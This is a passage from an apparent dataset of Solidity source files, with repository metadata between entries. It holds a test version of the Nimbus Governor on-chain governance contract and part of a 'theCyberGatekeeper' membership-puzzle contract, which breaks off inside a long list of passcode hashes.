emit LogWarmupPeriod(_warmupPeriod);
}
}
| 78,628 | 175 |
b4ed4aa586b63769f51a2128b29fa48ba1ffbe2c8817ef322836a57bd3c2119c
| 12,847 |
.sol
|
Solidity
| false |
323452649
|
nimbusplatformorg/nim-smartcontract
|
8b8e8feb1fdfb5c33e8a506bfb032b51e5526b23
|
contracts/Test/NimbusGovernorV1.sol
| 3,228 | 12,774 |
pragma solidity =0.8.0;
interface IGNBU {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
function freeCirculation() external view returns (uint96);
}
interface INimbusStakingPool {
function balanceOf(address account) external view returns (uint256);
}
contract NimbusGovernorV1Test {
struct Proposal {
uint id;
address proposer;
address[] targets;
uint[] values;
string[] signatures;
bytes[] calldatas;
uint startBlock;
uint endBlock;
uint forVotes;
uint againstVotes;
bool canceled;
bool executed;
mapping (address => Receipt) receipts;
}
struct Receipt {
bool hasVoted;
bool support;
uint96 votes;
}
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Executed
}
string public constant name = "Nimbus Governor v1";
uint public proposalMaxOperations = 10; // 10 actions
uint public votingDelay = 1; // 1 block
uint public votingPeriod = 13; // ~14 days in blocks (assuming 15s blocks)
uint96 public quorumPercentage = 4000; // 40% from GNBU free circulation, changeable by voting
uint96 public participationThresholdPercentage = 100; // 1% from GNBU free circulation, changeable by voting
uint96 public proposalStakeThresholdPercentage = 10; // 0.1% from GNBU free circulation, changeable by voting
uint96 public maxVoteWeightPercentage = 1000; // 10% from GNBU free circulation, changeable by voting
IGNBU public immutable GNBU;
uint public proposalCount;
INimbusStakingPool[] public stakingPools;
mapping (uint => Proposal) public proposals;
mapping (address => uint) public latestProposalIds;
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
event VoteCast(address voter, uint proposalId, bool support, uint votes);
event ProposalCanceled(uint id);
event ProposalExecuted(uint id);
event ExecuteTransaction(address indexed target, uint value, string signature, bytes data);
constructor(address gnbu, address[] memory pools) {
GNBU = IGNBU(gnbu);
for (uint i = 0; i < pools.length; i++) {
stakingPools.push(INimbusStakingPool(pools[i]));
}
}
function quorumVotes() public view returns (uint) {
return GNBU.freeCirculation() * quorumPercentage / 10000;
}
function participationThreshold() public view returns (uint) {
return GNBU.freeCirculation() * participationThresholdPercentage / 10000;
}
function proposalStakeThreshold() public view returns (uint) {
return GNBU.freeCirculation() * proposalStakeThresholdPercentage / 10000;
}
function maxVoteWeight() public view returns (uint96) {
return GNBU.freeCirculation() * maxVoteWeightPercentage / 10000;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(GNBU.getPriorVotes(msg.sender, sub256(block.number, 1)) > participationThreshold(), "NimbusGovernorV1::propose: proposer votes below participation threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "NimbusGovernorV1::propose: proposal function information arity mismatch");
require(targets.length != 0, "NimbusGovernorV1::propose: must provide actions");
require(targets.length <= proposalMaxOperations, "NimbusGovernorV1::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "NimbusGovernorV1::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "NimbusGovernorV1::propose: one live proposal per proposer, found an already pending proposal");
}
uint stakedAmount;
for (uint i = 0; i < stakingPools.length; i++) {
stakedAmount = add256(stakedAmount, stakingPools[i].balanceOf(msg.sender));
}
require(stakedAmount >= proposalStakeThreshold());
uint startBlock = add256(block.number, votingDelay);
uint endBlock = add256(startBlock, votingPeriod);
proposalCount++;
uint id = proposalCount;
proposals[id].id = id;
proposals[id].proposer = msg.sender;
proposals[id].targets = targets;
proposals[id].values = values;
proposals[id].signatures = signatures;
proposals[id].calldatas = calldatas;
proposals[id].startBlock = startBlock;
proposals[id].endBlock = endBlock;
latestProposalIds[msg.sender] = id;
emit ProposalCreated(id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return id;
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Succeeded, "NimbusGovernorV1::execute: proposal can only be executed if it is succeeded");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
bytes memory callData;
if (bytes(proposal.signatures[i]).length == 0) {
callData = proposal.calldatas[i];
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(proposal.signatures[i]))), proposal.calldatas[i]);
}
(bool success, bytes memory returnData) = proposal.targets[i].call{value :proposal.values[i]}(callData);
require(success, "NimbusGovernorV1::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i]);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState proposalState = state(proposalId);
require(proposalState != ProposalState.Executed, "NimbusGovernorV1::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(GNBU.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < participationThreshold(), "NimbusGovernorV1::cancel: proposer above threshold");
uint stakedAmount;
for (uint i = 0; i < stakingPools.length; i++) {
stakedAmount = add256(stakedAmount, stakingPools[i].balanceOf(proposal.proposer));
}
require(stakedAmount < proposalStakeThreshold(), "NimbusGovernorV1::cancel: proposer above threshold");
proposal.canceled = true;
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "NimbusGovernorV1::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (!proposal.executed) {
return ProposalState.Succeeded;
} else {
return ProposalState.Executed;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "NimbusGovernorV1::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "NimbusGovernorV1::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "NimbusGovernorV1::_castVote: voter already voted");
uint96 votes = GNBU.getPriorVotes(voter, proposal.startBlock);
require(votes > participationThreshold(), "NimbusGovernorV1::_castVote: voter votes below participation threshold");
uint96 maxWeight = maxVoteWeight();
if (votes > maxWeight) votes = maxWeight;
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function updateStakingPoolAdd(address newStakingPool) external {
require(msg.sender == address(this), "NimbusGovernorV1::updateStakingPoolAdd: Call must come from Governor");
for (uint i; i < stakingPools.length; i++) {
require (address(stakingPools[i]) != newStakingPool, "NimbusGovernorV1::updateStakingPoolAdd: Pool exists");
}
stakingPools.push(INimbusStakingPool(newStakingPool));
}
function updateStakingPoolRemove(uint poolIndex) external {
require(msg.sender == address(this), "NimbusGovernorV1::updateStakingPoolRemove: Call must come from Governor");
stakingPools[poolIndex] = stakingPools[stakingPools.length - 1];
stakingPools.pop();
}
function updateQuorumPercentage(uint96 newQuorumPercentage) external {
require(msg.sender == address(this), "NimbusGovernorV1::updateQuorumPercentage: Call must come from Governor");
quorumPercentage = newQuorumPercentage;
}
function updateParticipationThresholdPercentage(uint96 newParticipationThresholdPercentage) external {
require(msg.sender == address(this), "NimbusGovernorV1::updateParticipationThresholdPercentage: Call must come from Governor");
participationThresholdPercentage = newParticipationThresholdPercentage;
}
function updateProposalStakeThresholdPercentage(uint96 newProposalStakeThresholdPercentage) external {
require(msg.sender == address(this), "NimbusGovernorV1::updateProposalStakeThresholdPercentage: Call must come from Governor");
proposalStakeThresholdPercentage = newProposalStakeThresholdPercentage;
}
function updateMaxVoteWeightPercentage(uint96 newMaxVoteWeightPercentage) external {
require(msg.sender == address(this), "NimbusGovernorV1::updateMaxVoteWeightPercentage: Call must come from Governor");
maxVoteWeightPercentage = newMaxVoteWeightPercentage;
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal view returns (uint) {
return block.chainid;
}
}
| 236,158 | 176 |
b99a9a497a08a598c9c909001a040f3773e4c8b0f4e58f493bca8bf646bc996b
| 30,868 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x44919b8026f38d70437a8eb3be47b06ab1c3e4bf.sol
| 20,548 | 30,810 |
pragma solidity ^0.4.19;
contract theCyberInterface {
function newMember(uint8 _memberId, bytes32 _memberName, address _memberAddress) public;
function getMembershipStatus(address _memberAddress) public view returns (bool member, uint8 memberId);
function getMemberInformation(uint8 _memberId) public view returns (bytes32 memberName, string memberKey, uint64 memberSince, uint64 inactiveSince, address memberAddress);
}
contract theCyberGatekeeper {
address private constant THECYBERADDRESS_ = 0x97A99C819544AD0617F48379840941eFbe1bfAE1;
uint8 private constant MAXENTRANTS_ = 250;
bool private active_ = true;
address[] private entrants_;
uint8 private nextAssigneeIndex_;
mapping (address => bool) private interactions_;
mapping (bytes32 => bool) private knownHashes_;
mapping (bytes32 => bool) private acceptedPasscodes_;
modifier checkOne() {
require(entrants_.length <= MAXENTRANTS_);
_;
}
modifier checkTwo() {
require(interactions_[msg.sender] == false);
require(interactions_[tx.origin] == false);
_;
}
modifier checkThree(bytes32 _passcode) {
require(knownHashes_[keccak256(_passcode)] == true);
_;
}
modifier checkFour(bytes32 _passcode) {
require(acceptedPasscodes_[_passcode] == false);
_;
}
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(msg.gas % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}
function theCyberGatekeeper() public {
knownHashes_[0x1f9da07c66fd136e4cfd1dc893ae9f0966341b0bb5f157dd65aed00dc3264f7b] = true;
knownHashes_[0xb791069990a7ac90177cd90c455e4bac307d66a5740e42a14d6722c5cccd496e] = true;
knownHashes_[0xf1b5ecc2e10c5b41b54f96213d1ee932d580cfffe0ec07cae58160ce5c097158] = true;
knownHashes_[0xd5175b77b10e25fc855a5d7bd733345ba91169a60613ba9d862e80de56778b3a] = true;
knownHashes_[0xf34dcd7da457ab40a72eac7bcef81df228516accd299e45f957d3427da041993] = true;
knownHashes_[0x5de22f4ee9f2a052ec2d74368c18abc926dfa6d3b3dd354d37f5984234a5a3b9] = true;
knownHashes_[0xc59d5da97925031b90aec7b62b996266ddd6a770d74cfeda64f61fc36efaebb9] = true;
knownHashes_[0xce2a155eb4425417b7e6c730d6d8f28bc5a488f3ae991b8658df67c668936b25] = true;
knownHashes_[0x7c7d029792140de3231b5d0e423bcf2db32b645102481ff98cb3fbc596e7bec3] = true;
knownHashes_[0xbba66841434f000b3b5dad2fee2018222234708b4452188b0409fb87c96057da] = true;
knownHashes_[0xd8093508edc481156076857e1a3e06ff5851db83f93e2d0e7385d8095ddd91f1] = true;
knownHashes_[0x7fc987227e8bd30d90fd7009d4f4e87cbe08449f364eb7ea8cc1e0e8963a8bb9] = true;
knownHashes_[0x7d488c3c67541f75695f3b85e9e03cabf09776a834cae3bd78deff5a61a79d84] = true;
knownHashes_[0xfe8e1d9cfd511f648f7b2399b5e1b64fae0146b17d1887dd7d31cc62785af5a1] = true;
knownHashes_[0xbc29c06b1854055fa0eb833b5380702154b25706e91be59ece70949133e0b100] = true;
knownHashes_[0xd1b524312fe1faa9afd4c6e436ac5b7ffc25508915ced29b6a3a5a51c3f64edb] = true;
knownHashes_[0x2214001a578b2f4d84832f0fcea5fc9c330788cc124be6568f000e7a237e7bc2] = true;
knownHashes_[0xbe8f2f005c4eab111c5038c1facf9f34cdb74cc223e62da1afb6e9a68b34ca4e] = true;
knownHashes_[0xe47770d9ad427c0662f8a4160529bd061efc5b06289245a4f15314e01ac45a3e] = true;
knownHashes_[0xd9047ca158ff3d944db319ba900e195c790f10e9f733a26b959dda2d77f3269c] = true;
knownHashes_[0x337c6fd80459dd8a43819956a3efcc21321ea61b03df6d22c08a855a2fa21d11] = true;
knownHashes_[0x0f52968d0e726c5abea60a16fd8e54b35bdf84f2f00e60b85e51dd1da01eac7f] = true;
knownHashes_[0x73a6ef9b3a23b3a024ce61190cd9e25646fea63e07b7a108a4069becd17592e1] = true;
knownHashes_[0xf4553c021ac8627fb248332a94b4cfdda11fa730a5fd9d3104c6a5ae42d801f4] = true;
knownHashes_[0x020bea449c109c63f9f2916ae45efedb68582b53ecf5bc1976c2f227ddbcea92] = true;
knownHashes_[0x389cbc4a0968b13b251e9749a09f065f7455c8e32c51ab9e70d0cfe88f19f0d3] = true;
knownHashes_[0x56a1df9bf60a6537bd66813412c4dab60948ad50d589d16fbcc803ff7e1d8d0e] = true;
knownHashes_[0xce32119e262e9efefddcefc72360f9bc264ed352f37e88ad5dbc8563a1f5dee4] = true;
knownHashes_[0x3d0836543f5fa63cf9a33cf89c5d6d58fa1f4a7ef6176f4aa0c9af50a5bc537b] = true;
knownHashes_[0x0a63047da6dc9766ee02d6966d1aa3314a7809d62eb1718107f48506f9f9457c] = true;
knownHashes_[0xc53397f780d9bbd2a6f0f0c8bf49ac08ed4cdf64930106be00721ac4d4511164] = true;
knownHashes_[0xe81581a9c2c27417ba4f3c81e0fced1d0f79d358ed920a22ae00115487f228c5] = true;
knownHashes_[0xe77056c319963c193dea91cb38d431eff8ab57c3ab170010356b4eebc22d7e97] = true;
knownHashes_[0xa1fb6fdf27ba9b5544e3f12fbd9132492357cb7e55380021f25208888e3630f7] = true;
knownHashes_[0xb90ab683410780e5a3d0f4ae869a04895db390b4a7ef7da54978cb7276249f06] = true;
knownHashes_[0xaed50db7524cf03c1b00786985d114bac77e4efc94ca8de1d5f38c1abf4f2fd7] = true;
knownHashes_[0xb8e02c5490299d4213b7aa5e73b81ca81b064b0d9136a81151e462b4e25f9874] = true;
knownHashes_[0x20f107570ff7f5b87bf5f2e3562cd5724c93bede48a295c0eb2bde13dc6a29b0] = true;
knownHashes_[0xb716c58f7969bbabf290500b49cbd47d27127c8273d92400ae986459a25c0fac] = true;
knownHashes_[0xe2e53269c9a713aea39f3cd5bc1d843d2333671f001e9370d8d0af7fd538da94] = true;
knownHashes_[0x0bbb7d412d6b31f9a09dc1b0c907b460b1b537213e26ee81f9807f29adf4fd15] = true;
knownHashes_[0x7ab04d4c5b09c1447723b60fbdca4b3413b6f98da157bacfb434e41e2b058528] = true;
knownHashes_[0x825593380f76d0636b54113c15cc60af3fd5c084662fd29aec5b73adfa126497] = true;
knownHashes_[0xfe997c3e94789f21f04c14663073b6aa991ac2a844128501c12e6ef600c06588] = true;
knownHashes_[0x3971dc6245d6ac485f674d04c92b9405aad2a99c550f1bc0db4bbb90bf95adac] = true;
knownHashes_[0x001e58093e36d3df6435032e8756c4a3d7194703d7160b54a53abea1daeebea2] = true;
knownHashes_[0x7bd7049df9d6d237d4d140e15d442bbc36d854f11dd3f29d95431fbf588fc595] = true;
knownHashes_[0x41a03b78069100aee2080531046c5225723682709011dfaf73584efddb0d721b] = true;
knownHashes_[0x1e28fd49fa726dce14c54fd0e795d504cb331c8b093d08480e2c141e7133afd7] = true;
knownHashes_[0xbbfac7d658b3afa5e3f31b427d1c6337c09385f68d8a5c7391344048a9933dcc] = true;
knownHashes_[0xabce501357182c6bc33f57f0358ffd0df3593ab84b560eaafe4e491e1a57161d] = true;
knownHashes_[0x5f210994b6ab28175f582caea9ca3d8a60bd95f9143d296963ff0fe15824541f] = true;
knownHashes_[0x52583357b332063c6b01ebb1adc2ea1a562d9047ba229007f54e16cbd6814911] = true;
knownHashes_[0xbaab52c2bbb7cd02a520d2b6bfec5a9551e3e6defa60a3032873e8416ee4467c] = true;
knownHashes_[0x6ae2961dfef7f3e0aa12c15e7a681ca18f2950d2657565bf15131912ea8da7dc] = true;
knownHashes_[0xf031e143e1803147f958dd4c6665e8719058d5caae195b70087f9b5271762df4] = true;
knownHashes_[0x28d76ea4ef99de0fec59ed37a9fd26773973b3fe154e22c90417d321558122a2] = true;
knownHashes_[0x537ac9bd7ee6bf9da81eb33526e6b276470fc054ec02970009d8619f71f9721f] = true;
knownHashes_[0x8fa26dab73b295def62cfe7f5c43d14582d2b3618420ad5a5b268cc379198e13] = true;
knownHashes_[0x7b84ca8a1ab1da42a485a6fee17b4d566f3381a7e7e45093f1b31dd0733e35bb] = true;
knownHashes_[0xabb230a36f2e2b45edf713e502c17177764fe97fa723396345faa9c176ba1726] = true;
knownHashes_[0x202f9f673d28dbcd395bdcb5947e473d0ac8db873531bd421f1554b2b20ff9c9] = true;
knownHashes_[0xe212ec4baaa718fc89304b32b3824049830056aba2217e5dda7ab19a38674dd7] = true;
knownHashes_[0x797fb4e70019a12d858f7ec6e36e0e094c5491595458c071731cf74d910ca93c] = true;
knownHashes_[0x746f5fe170aee652feecbe538b3ad0379a5a55c0642ff09d51d67f96e547e1b9] = true;
knownHashes_[0x808dbf279f6ebaf867dba8f57e7e0985c0af3514e12bbd9179b76305873aa62d] = true;
knownHashes_[0x58174ff390f50845020d81f58dec307980154bfcbcc2a6e52c8f00571fc4c18a] = true;
knownHashes_[0xd21dd7a15bfe2cceed46b2545ba534371194c4243b0892d646a8c5a5af65d6cc] = true;
knownHashes_[0x73aa239023dd8d73a9f9fb28824419078c3f714ab4486efd84781c683d71a839] = true;
knownHashes_[0x691e364238f0b50f5aa51ea1d4433bf2efa59fea0be8b9c496554cb39498467a] = true;
knownHashes_[0x46b4a5160c82b53114bfcc1474f38f7c43b6492bc3b9596d613defeaf8b89e97] = true;
knownHashes_[0x8f88f909ffa924d4e3c2a606afd35c63d2a428a79a85576ff4930fac15de9fae] = true;
knownHashes_[0x64958df63263f0829b0c0581bd29c3ba2c98303c4d1a5f498e1fbd9334b987e7] = true;
knownHashes_[0xe055613d9fb1e64b10f2a19d23e0f210a62c77890c64f36ef19b7f9c9eeea73f] = true;
knownHashes_[0x58d386f526477b55f07450e4bda7ebe5ba5a24c6a1de2c2a0589136e26455502] = true;
knownHashes_[0x34a80f3e9802bdff7e72af17a101ff9f66a318fdab40aed5d1809fc5f2cc1c9a] = true;
knownHashes_[0xd4f0c8fe0948d41171c9c9ce1d75ee424c8a88a240ef6e430e3e96a40f6276d4] = true;
knownHashes_[0x1bcab73811b8ba9d2dad89dea585e5d714a1e599bce4577d19d2b43b7bf87fda] = true;
knownHashes_[0x10028a06bc48264ae4c6a600ee386fa468b2aaa6e5b5645a1a6e31253228b8ad] = true;
knownHashes_[0xde8d4db07409be3619916cbc1879b26c7e11b5b5a70e7d881af0c2fef29d7318] = true;
knownHashes_[0xa5eef6d39384b151fdafb99544cf084e6c7a066fde1bb0b9ceae0821e9e2cd10] = true;
knownHashes_[0xe3ca8dc2d344788fe4481650673ec321808a3997c8909fccd45b233ec758a393] = true;
knownHashes_[0x9e6b8ef37fe278d3e8786e3c690e8d210b028e02cbd3de1cb7e4f195d07b8110] = true;
knownHashes_[0x2688230319ac3209d60a958ecc1c6f9b7bcdc8f0b3b205593abfaf3e3cbdf77b] = true;
knownHashes_[0x7b9bdcab954cec08267474edd4efd3f9404a9cb01d4daaa601a20bf983431904] = true;
knownHashes_[0x43207aebbf8c583423271f9eb7902c2ec44ac0c4f352ab1819246832f4c0999b] = true;
knownHashes_[0xac0266245ff71cc4a17bb0f63bc04d9666ddf71dd71643f24cf37e36bc4f155a] = true;
knownHashes_[0xfc15e3c5983cc9cc686b66d89c99e63f4882e3d0058b552b67bfe2f766b56950] = true;
knownHashes_[0xe804e62dd75bbe482087ab2837502f73007e1a73eea27623885dfbfe1e2fb0ef] = true;
knownHashes_[0x13c7f7862f84b2c7a3954173f9c1d8effa93645c00bbd91913545541d2849b39] = true;
knownHashes_[0xa873f8ffa13ce844fcaa237f5e8668d04e7b0ffc62a07b6954fd99dd2ec4c954] = true;
knownHashes_[0xeb6f877cc66492cf069da186402edaab2fec618959323c05ecd27d6363200774] = true;
knownHashes_[0x6c11b3fedeba28d1d9ecc01fa6b97e1a6b2cca5ccbb3cfcd25cfaf2555fd4621] = true;
knownHashes_[0xa671809122a1d712c9953a2a3dab991bec0dea9dac04039674a48ce69307342f] = true;
knownHashes_[0xee891d79c71c93c9c8dc67d551303fb6b578e69673207be5d93f9db8bfc65443] = true;
knownHashes_[0x203530873bf7a0e21437d19fac50ad66b5d900cc5695d924091502c57e68b404] = true;
knownHashes_[0x31c193092d0122b4bba4ff0b15502ccd81424d9d1faf6eb76dabe160d38ab86c] = true;
knownHashes_[0x30437582c6835f6855ea08e4e6c9eb22b03445b3c9fdbf8520fb07b122db22a1] = true;
knownHashes_[0x72be9f48790e00f9e4c3a12e3b76fe33ffa9f0e8fff75b711ad1158a2d96161d] = true;
knownHashes_[0x19d429dde2aba4c05a71858f6c770dbf2007982a45514109089b135401ba97ab] = true;
knownHashes_[0xd3f357697501c25321843787edc511fe9c4580fcd386617524fd71372a987f9e] = true;
knownHashes_[0xfaefd15cd398d7f18a62f2b2b9282ec8706fc024fc95dbf35d44beb1e2e9b317] = true;
knownHashes_[0xe499335f5a14d69d72b210691255ba1a849fc5b358ceca4e737ae99896aaffde] = true;
knownHashes_[0xafeb5f1c9298777e8b9501cb812afbdbc551a7e03e4e2de437fef3eef0d89e3e] = true;
knownHashes_[0xae48b79855ef93cc35d5776322242fabdb4a53fb7ff84916a3f7d3f665914e1d] = true;
knownHashes_[0x5a6160a4fc39e66e69129aff6942405d07a3d3e81242bdc40b3af6aab7ae3642] = true;
knownHashes_[0x9c76da2121f984e4c7bca901f474215dbce10c989894d927e6db17c0831fde30] = true;
knownHashes_[0x5ecb6ccb02c15de47ddabb85571f48ae8413e48dd7e1f4f52a09a3db24acb2c5] = true;
knownHashes_[0xc97f43a2a7aa7a7582dd81a8fc6c50d9c37c0b3359f087f7b15fb845fe18817a] = true;
knownHashes_[0x2a567f38f252bd625fe9bc0224ba611e93e556f6d9fad0fc9929276120616f2f] = true;
knownHashes_[0x86032752da8b70e1a3fece66bb42c2e51d5c1d7db7383490beb8707b544c713e] = true;
knownHashes_[0x2bc1f494fade6a385893a9065a7b97d2aac775dc815639baafa7926de4f582df] = true;
knownHashes_[0x3967c9d876382dda4dd223423d96d08fb3d9ee378a88ab63171543ac3a6f1a4f] = true;
knownHashes_[0x9ac8fc599ce21b560d819005a1b22a6e4729de05557d5b3383cd41e3b13530ef] = true;
knownHashes_[0x83b4b01d4238485529f01e4b7a0b2a18c783c4f06a6690488a08ad35723f46d6] = true;
knownHashes_[0xe16362fabfbfab3bc5b52441e6f51b1bd6ed176357f177e06c22ea31a4e0490a] = true;
knownHashes_[0x2bbec2393184e20e04df7f7ebf3e0a40f18f858ef24219e3e6a4cad732d2a996] = true;
knownHashes_[0x26b9f114b862dd1fb217952b30f0243560c0014af62f1c6a569a93263da2ed87] = true;
knownHashes_[0x8f50db6ad0f6b20a542c6ce2ce2ca88a5e28040499ad82050c5add5b671fbebb] = true;
knownHashes_[0x31853fd02bb4be8eef98b6bb8910aacbaabdb6e7bb389c15e7ffa7cc877a2916] = true;
knownHashes_[0xda6d55fafdbd62c3224f3c2a309732c141186846e72fbc1ba358e3005b0c0192] = true;
knownHashes_[0xede6c624b4d83d690b628296696008e32afb731951b0785964557716ee17938f] = true;
knownHashes_[0xf92e82d93f432af59aa615fcc1f320bfc881f8edb6c815ef249ffe1d581c118e] = true;
knownHashes_[0xfd3465d044cfe45ed2b337a88c73de693aaf15e2089ec342b606053742c2d3d8] = true;
knownHashes_[0xe67d0e588eda9b581e65b38196917b7f156c33b63a7b85faf9477161d80c3fa0] = true;
knownHashes_[0x17ec4ff7ca53560624d20a4907a03db514e54167a07c470a78e8be670569eb1e] = true;
knownHashes_[0x801f7c51809e14a63befb90bdd672eea429009ba0fb38265f96c5d74f61d648e] = true;
knownHashes_[0x030b09c9fc307c524f015349267a9c887a785add273463962174f9a0bca8eade] = true;
knownHashes_[0x32c740329e294cf199b574f5a129eb087105d407fe065c9e82d77d0e7f38c6df] = true;
knownHashes_[0x4f5d91e1926a0abfc33cbbb1fe090755b3fa6f6878b16ddb1f4d51c0bb273626] = true;
knownHashes_[0x1c347666ca233e998ccad5e58d499db78693a2880e76efef3f39ea75928aa3a7] = true;
knownHashes_[0x86983f6f4376ef7fc0e1766ffce4b7bea3e34e023e941a7b7f82638ac72c660e] = true;
knownHashes_[0x208d1fd0ad5b8f5d2d5239f9317b95cf11beac22780734caf8571ab4b0520d0d] = true;
knownHashes_[0x9bdaa1a0d2f8e41777bc117b01bd1c75d7ef6233c204b3285a47e4fedb319e69] = true;
knownHashes_[0xfb473f02109ef92a443b981b604a8991757eb0bb808ea5bc78e7e870f2354e62] = true;
knownHashes_[0xe8a6cfdc3e580f2eab183acb79e5b86a3e9da4f249f74616046d6d29fcd4fed2] = true;
knownHashes_[0x32abc540ef3bc5de09a23af1f982af2559fc2186036c599b3433d016b1a540a8] = true;
knownHashes_[0x659a7368d541323bd45fc1877f7f1f30336ef11752e74114bd266ef54f7af614] = true;
knownHashes_[0xc47854c4eafcf5d12b54b1eb0f4054029ee2a621f8a3e466512f989f9f3766b8] = true;
knownHashes_[0x51ab11caa29aa797b6707bde74097b6b2a94f2933f67e829d5404511a04b9eee] = true;
knownHashes_[0xd231100d8c758c8b96008206667beb0da75c8bdf5ef6372973f188a2f8479638] = true;
knownHashes_[0xf2667981d338ea900cb94ee9b1e8734f402c6f97a5c26e025000c24495b5848a] = true;
knownHashes_[0xd1bfe76a924b0f7375b5cfb70f9a9a38bbc4b0e0e954b4fd79c6a8249c8024eb] = true;
knownHashes_[0x4461388e97040af4f18bd39fb43f6407c1dc0c97367493c71fa09e9ad0c041f3] = true;
knownHashes_[0xaba9866a1182958298cd085e0852293a8a9a0b32e3566a8fc4e0d818e6fc9d1f] = true;
knownHashes_[0x0fa820195b7911118b04f51a330222881e05b872bb6523c625ba0e44d783e089] = true;
knownHashes_[0xf7fae749c6d9236a1e5c4c9f17d5f47e03c5b794c7d0838593a59c766b409fb1] = true;
knownHashes_[0xd452a19b707816f98350c94bedef9a39d2a8387e6662fbf4ce1df2d08b9bbfce] = true;
knownHashes_[0x88c601f5dbc07046d3100ba59d1d8259a2252494fe3d44df2493154f81cc6e83] = true;
knownHashes_[0xd63bad678338c2efcc352bc52dc6d746ff7ad69fa3024a4c066242a5e017223e] = true;
knownHashes_[0xbdafe5b7f2fb13e7a9d15fde4c20946aa9cf503d87c13d5e2b1f91cba24d6d02] = true;
knownHashes_[0xf3e4c26fc4270c96091163d1f821ca1ee5e3e2cf38cbddb72ed0f016bc0cc301] = true;
knownHashes_[0xe5d663f995b932d671a4239595c3e21bdf5eed4f387abf490064e110f815e13a] = true;
knownHashes_[0x56e513d0909163ceb5c909f0a4f4996041e6f7dce868bea19e455160c73e0087] = true;
knownHashes_[0x85dadba5e967d35663a2edc0a2854f2176140f2c5362199a7c1aeef92a23965f] = true;
knownHashes_[0x31a6ee0d2173eb805ea73e2505ace7958a9b6b79f017eabe73dd20449202cc73] = true;
knownHashes_[0xb0114eb4170b3a6089c93a3e6f3ca1ab430259cd01cb5c0d996ae2fed4ab8713] = true;
knownHashes_[0xab882a2dc74f2cf4303d5042c19ca8c28b9138d41cfb92d1772a7db0f03cdcbd] = true;
knownHashes_[0x750caffb2fc2e58326276d6626d58fffb7016fc2ca9f32db568c2b02d1a7e2e4] = true;
knownHashes_[0xa0f68eb20c40da255433c06088ce4b5a92a29a39a431fcd5430caf46a55cfef8] = true;
knownHashes_[0xf3b4aea050789d0ce0c09becf833057f37a512b19c09258bf27912c69748f81e] = true;
knownHashes_[0x7a624c215ebf005e463dfd033a36daf69490c0ebf65a9bdf3cb64421e39290ea] = true;
knownHashes_[0x1a83e43e04aeb7d6cd4e3af4b7c0761dacbd47a806c52eea0b90e26b8cc4d52c] = true;
knownHashes_[0x0f7dd58c9f0617e197b0255ea9eedbb2cb1055e9762821bdfb6ebc89bf2cbc69] = true;
